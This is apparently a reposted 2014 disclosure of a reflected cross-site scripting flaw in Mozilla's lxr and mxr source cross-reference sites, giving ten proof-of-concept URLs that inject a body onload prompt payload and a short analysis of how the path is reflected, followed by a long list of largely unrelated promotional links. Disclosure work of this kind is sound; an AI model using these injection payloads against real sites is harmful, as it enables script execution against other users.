咬定青山不放松,立根原在破岩中。千磨万击还坚劲,任尔东西南北风

© 竹意 | Powered by LOFTER

Mozilla mozilla.org Two Sub-Domains ( Cross Refere

来自:tetraph

Domains:

http://lxr.mozilla.org/

http://mxr.mozilla.org/

(The two domains above are almost the same)

 

 

 



Websites information:

lxr.mozilla.org, mxr.mozilla.org are cross references designed to display the Mozilla source code. The sources displayed are those that are currently checked in to the mainline of the mozilla.org CVS server, Mercurial Server, and Subversion Server; these pages are updated many times a day, so they should be pretty close to the latest?and?greatest. (from Mozilla)

 

 

 



Vulnerability description:

All pages under the following two URLs are vulnerable.

http://lxr.mozilla.org/mozilla-central/source

http://mxr.mozilla.org/mozilla-central/source

 

 

This means all URLs under the above two domains can be used for XSS attacks targeting Mozilla's users.

 

Since there are large number of pages under them. Meanwhile, the contents of the two domains vary. This makes the vulnerability very dangerous. Attackers can use different URLs to design XSS attacks to Mozilla's variety class of users.

 

The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are dealing with this issue.

 

 



POCs:

http://lxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>

http://lxr.mozilla.org/mozilla-central/source/mobile/android/<body onload=prompt("justqdjing")>

http://lxr.mozilla.org/mozilla-central/source/Android.mk/<body onload=prompt("tetraph")>

http://lxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageBindingParamsArray.idl/<body onload=prompt("tetraph")>

http://lxr.mozilla.org/mozilla-central/source/netwerk/protocol/device/AndroidCaptureProvider.cpp<body onload=prompt("tetraph")>

 

 


http://mxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/webapprt/<body onload=prompt("justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/mozilla-config.h.in/<body onload=prompt("justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/chrome/nsChromeProtocolHandler.h/<body onload=prompt("tetraph")>

http://mxr.mozilla.org/mozilla-central/source/security/sandbox/linux/x86_32_linux_syscalls.h/<body onload=prompt("tetraph")>

 

 

 



POC Video:

https://www.youtube.com/user/tetraph

 

 

 

 



Vulnerability Analysis:

Take the following link as an example,

http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest>

 

We can see that for the page reflected, it contains the following codes.

<a href="/mozilla-central/source/chrome/%253Cattacktest%253E">

<attacktest></attacktest>

</a>

 

If we insert "<body onload=prompt("justqdjing")>" into the URL, the code can be executed.

 

 

 

 



The vulnerability can be attacked without user login. My tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

 

 


Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. (From Wikepedia)

 

 

 



Posted By:

Wang Jing, mathematics student from Nanyang Technological University, Singapore.

http://tetraph.com/wangjing/

 

 

 

 



More Details:

http://lxr.mozilla.org/mozilla-central/source

http://mxr.mozilla.org/mozilla-central/source

http://www.hotforsecurity.com/blog/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains-10607.html

http://www.tetraph.com/blog/xss-vulnerability/mozilla-mozilla-org-two-sub-domains-cross-reference-xss-vulnerability-all-urls-under-the-two-domains/

https://www.xssposed.org/incidents/domain/lxr.mozilla.org/

https://www.youtube.com/watch?v=onA5BgC3zIY

http://itsecuritynews.info/2014/10/20/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains/

https://twitter.com/justqdjing

http://news.softpedia.com/news/XSS-Risk-Found-In-Links-to-New-York-Times-Articles-Prior-to-2013-462334.shtml

https://brica.de/alerts/alert/public/791810/cross-site-scripting-xss-vulnerability-in-new-york-times-articles-before-2013/

https://twitter.com/essayjeans

http://infopunk.org/main/blog/2014/10/20/cross-site-scripting-vulnerability-in-mozillas-cross-reference-sub-domains/

http://www.pinterest.com/pin/326018460499818774/

http://www.csoonline.com/article/2136232/application-security/open-redirect-on-yahoo.html

http://sec.jetlib.com/Full_Disclosure/2014/10/19/Mozilla_mozilla.org_Two_Sub-Domains_%28_Cross_Reference%29_XSS_Vulnerability_%28_All_URLs_Under_the_Two_Domains%29

http://t.qq.com/blackswall1544?preview

http://essayjeans.blog.163.com/blog/static/237173074201493133220507/

http://computerobsess.blogspot.sg/2014/10/id-oauth.html

https://www.youtube.com/watch?v=HUE8VbbwUms

http://blog.sina.com.cn/s/blog_12ff797370102v5ao.html

http://securityrelated.blogspot.sg/2014/10/sicherheitslucke-in-oauth-20-und-openid.html

http://securityrelated.blogspot.sg/2014/10/openid-oauth-20.html

http://www.tetraph.com/blog/essaybeans/%E8%87%AA%E5%B7%B1%E5%96%9C%E6%AC%A2%E7%9A%84%E5%8F%A4%E4%BB%A3%E7%88%B1%E6%83%85%E8%AF%97-%E5%94%AF%E7%BE%8E%E5%8F%A4%E8%AF%97/

https://www.youtube.com/watch?v=KiNKYD9VRK8

http://vulnerabilitypost.wordpress.com/category/computer-vulnerability/

http://tetraph.wordpress.com/2014/10/31/%E7%94%9F%E6%B4%BB%E5%8F%AA%E6%9C%89%E5%9C%A8%E5%B9%B3%E6%B7%A1%E6%97%A0%E5%91%B3%E7%9A%84%E4%BA%BA%E7%9C%8B%E6%9D%A5%E6%89%8D%E6%98%AF%E7%A9%BA%E8%99%9A%E8%80%8C%E5%B9%B3%E6%B7%A1%E6%97%A0%E5%91%B3/

http://www.tudou.com/programs/view/6qw_vdy5yD0

http://securityrelated.blogspot.sg/2014/10/openid-oauth-20.html

http://essayjeans.blog.163.com/blog/static/237173074201493194049763/

http://v.youku.com/v_show/id_XNzExNDY3OTI0.html

http://blog.sina.com.cn/s/blog_ecd65d410102v6in.html

http://tetraph.blogspot.sg/2014/10/des-vulnerabilites-pour-les-boutons.html

http://whitehatview.tumblr.com/post/101411985996

http://securityrelated.blogspot.sg/2014/10/des-vulnerabilites-pour-les-boutons.html

http://tetraph.com/security/covert-redirect/covert-redirect-vulnerability-related-to-oauth-2-0-and-openid-2/

http://essayjeans.blogspot.sg/2014/10/butterfly-motto-sentences-related-to.html

http://essaybeans.blogspot.sg/2014/10/p-o-e-m-s-look-far-and-beyond-games.html

http://user.qzone.qq.com/2519094351/blog/1414740657

http://www.tetraph.com/security/covert-redirect/%D1%81%D1%82%D1%83%D0%B4%D0%B5%D0%BD%D1%82-%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA-%D0%BD%D0%B0%D1%88%D1%91%D0%BB-%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D1%8C-%D0%B2-ope/

http://www.tetraph.com/blog/covert-redirect/372/

http://mathfas.wordpress.com/2014/10/31/the-book-of-songs-bei-feng-drum/

http://blog.sina.com.cn/s/blog_12ff797370102v5at.html

http://www.pinterest.com/pin/465278205227138203/

http://tetraph.tumblr.com/post/101419755007/the-book-of-songs-bei-feng-drum

http://tetraph.blog.163.com/blog/static/2346030512014931102629791/

http://www.pinterest.com/pin/465278205227138242/

http://blog.sina.com.cn/s/blog_12ff797370102v5au.html

http://user.qzone.qq.com/2519094351/blog/1414744839

http://www.pinterest.com/pin/326018460499818774/

http://www.inzeed.com/kaleidoscope/covert-redirect/otra-brecha-de-seguridad-amenaza-parte-de-internet/

http://www.diebiyi.com/articles/covert-redirect/falha-de-seguranca-afetam-logins-de-facebook/

http://www.tetraph.com/security/covert-redirect/%ED%95%98%ED%8A%B8%EB%B8%94%EB%A6%AC%EB%93%9C-%EC%9D%B4%EC%96%B4-%EC%98%A4%ED%94%88id%EC%99%80-%EC%98%A4%EC%93%B0oauth%EC%84%9C%EB%8F%84-%EC%8B%AC%EA%B0%81/

http://www.inzeed.com/kaleidoscope/covert-redirect/des-vulnerabilites-pour-les-boutons-types-sidentifier-avec-facebook/

http://www.diebyi.com/articles/covert-redirect/sicherheitslucke-in-oauth-2-0-und-openid-gefunden/

 
评论
 
回到顶部